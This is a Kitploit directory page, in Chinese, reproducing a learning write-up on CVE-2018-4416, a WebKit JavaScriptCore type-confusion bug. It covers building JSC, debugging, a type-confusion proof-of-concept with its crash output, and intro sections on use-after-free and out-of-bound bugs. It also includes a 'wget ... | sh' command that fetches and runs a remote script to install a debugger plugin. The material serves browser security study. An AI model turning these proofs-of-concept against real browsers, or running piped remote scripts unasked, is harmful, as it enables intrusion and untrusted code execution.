Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-4416-exploit — CVE-2018-4416(一个 WebKit JavaScriptCore 类型混淆漏洞)的教学式演练,包含 PoC、调试环境搭建,以及对常见浏览器二进制利用技术的分析。 | Kitploit
工具/GitHubGitHub/erupmi/cve-2018-4416-exploit
漏洞分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育学习路径与课程二进制利用
GitHuberupmi/cve-2018-4416-exploit

CVE-2018-4416-exploit

CVE-2018-4416(一个 WebKit JavaScriptCore 类型混淆漏洞)的教学式演练,包含 PoC、调试环境搭建,以及对常见浏览器二进制利用技术的分析。

查看仓库
93152年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
  • 前言 :PROPERTIES: :CUSTOM_ID: preface :END: 好的,二进制安全不仅仅是 /堆/ 和 /栈/,尽管常规 CTF 挑战之外我们还有很多要探索。浏览器、虚拟机以及内核在二进制安全中都扮演着重要角色。我决定先学习浏览器。

我选择了一个相对简单的:/WebKit/。(ChakraCore 可能更简单,哈哈。但有传言说微软取消了这个项目,因此我决定不选它。)

我将撰写一系列文章来记录我学习 /WebKit/ 安全的笔记。这也是我第一次学习浏览器安全,我的文章 可能 会包含 大量 错误。如果你发现了,请务必联系我进行纠正。

在阅读之前,你需要了解:- C++ 语法 - 汇编语言语法 - 虚拟机的安装 - 熟悉 Ubuntu 及其命令行 - 基本的编译器理论概念


  • 环境搭建 :PROPERTIES: :CUSTOM_ID: setup :END: 好了,现在我们开始。

** 虚拟机 :PROPERTIES: :CUSTOM_ID: virtual-machine :END: 首先,我们需要安装一个虚拟机作为测试目标。这里我选择 /Ubuntu 18.04 LTS/ 和 /Ubuntu 16.04 LTS/ 作为目标主机。你可以从 [[https://www.ubuntu.com/][这里]] 下载。如果我没有指定版本,请使用 18.04 LTS 作为默认版本。

Mac 可能是一个更合适的选择,因为它有 XCode 和 Safari。但考虑到 MacOS 的高资源消耗和不稳定的更新,我宁愿使用 Ubuntu。

我们需要一个虚拟机软件。我倾向于使用 [[https://www.vmware.com/][VMWare]]。Parallel Desktop 和 VirtualBox(免费)也不错,取决于个人习惯。

我不会一步步教你如何在 VMWare 上安装 Ubuntu。但我还是要提醒你,请 分配尽可能多的内存和 CPU,因为编译会消耗大量资源。一个 80GB 的磁盘应该足够存放源代码和编译后的文件。

** 源代码 :PROPERTIES: :CUSTOM_ID: source-code :END: 你可以通过三种方式下载 WebKit 源代码: [[https://github.com/WebKit/webkit][/git/]]、/svn/ 和 [[https://webkit.org/getting-the-code/][/archive/]]。

WebKit 的默认版本管理器是 svn。但我选择 git(太不习惯 svn 了):

#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example

** 调试器和编辑器 :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE 消耗大量资源,所以我用 vim 编辑源代码。

我看到的大多数调试工作都使用 lldb,而我对它并不熟悉。因此,我还安装了 gdb 并搭配 gef 插件。

#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src

** 测试 :PROPERTIES: :CUSTOM_ID: test :END: *** 编译 JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: 编译完整的 WebKit 需要大量时间。目前我们只编译 JSC(JavaScript Core),大多数漏洞都来自这里。

现在,你应该在 WebKit 源代码的 根目录 下。运行以下命令来准备依赖:

#+begin_src shell Tools/gtk/install-dependencies #+end_src

即使我们现在还没有编译完整的 WebKit,你也可以先安装其余依赖,以备将来测试。如果你不想花费太多时间,此步骤在编译 JSC 时不是必须的:

#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src

之后,我们可以编译 JSC:

#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src

几分钟后,我们可以通过以下命令运行 JSC:

#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src

让我们做一些测试:

#+begin_example

1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example

*** 触发漏洞 :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:

#+begin_quote 此处使用 Ubuntu 18.04 LTS #+end_quote

我们使用 [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] 进行测试,以下是 PoC。将其保存为 =poc.js=,放在 =jsc= 所在的同一文件夹:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      tmp.__proto__ = {};

      gc();

      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

      return obj[k];  // Type confusion.
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

let fake_object = opt(fake_object_memory); print(fake_object); #+end_example

首先,切换到存在漏洞的版本:

#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example

#+begin_quote 这可能会花费比编译更多的时间 #+end_quote

运行:=./jsc poc.js=,我们会得到:

#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example

如果我们在最新版本上运行(=git checkout master= 切换回来,并删除编译内容 =rm -rf WebKitBuild/Relase/= 和 =rm -rf WebKitBuild/Debug/=):

#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined

================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate,

... // lots of error message

SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example

现在,我们成功触发了一个漏洞!

我不打算解释细节(我也不知道)。希望几周后我们能弄明白根本原因。


  • 理解 WebKit 漏洞 :PROPERTIES: :CUSTOM_ID: understanding-webkit-vulnerability :END: 现在,是时候讨论更深入的内容了。在我们开始讨论 WebKit 架构之前,先来看看 WebKit 中常见的漏洞。

这里我只讨论二进制层面的漏洞。一些更高级的漏洞,比如 /URL 欺骗/ 或 /UXSS/,不在我们的讨论范围之内。下面的示例 并非仅仅来自 WebKit。有些是 Chrome 的漏洞。我们会简要介绍,并稍后具体分析 PoC。

在阅读这部分之前,强烈建议你先阅读一些编译原理方面的资料。基础的 Pwn 知识也应该掌握。我的解释可能不够清晰。再次强调,如果你发现错误,请指正。

随着我对 JSC 理解的加深,这篇文章会更新多次。稍后别忘了回来查看。

** 1. 释放后使用(Use After Free) :PROPERTIES: :CUSTOM_ID: use-after-free :END: 也称为 =UAF=。这在 CTF 挑战中很常见,是一个经典的场景:

#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src

由于一些逻辑错误,代码会重用已释放的内存。通常,一旦我们控制了已释放的内存,就可以进行泄露或写入。

CVE-2017-13791 是 WebKit UAF 的一个例子。这里是 PoC:

#+begin_example

a b #+end_example

** 2. 越界(Out of Bound) :PROPERTIES: :CUSTOM_ID: out-of-bound :END: 也称为 =OOB=。类似于浏览器中的溢出。同样,我们可以读取/写入相邻内存。=OOB= 经常出现在数组的错误优化或检查不足的情况下。例如([[https://bugs.chromium.org/p/project-zero/issues/detail?id=1033][CVE-2017-2447]]):

#+begin_example var ba; function s(){ ba = this; }

function dummy(){ alert("just a function"); }

下载工具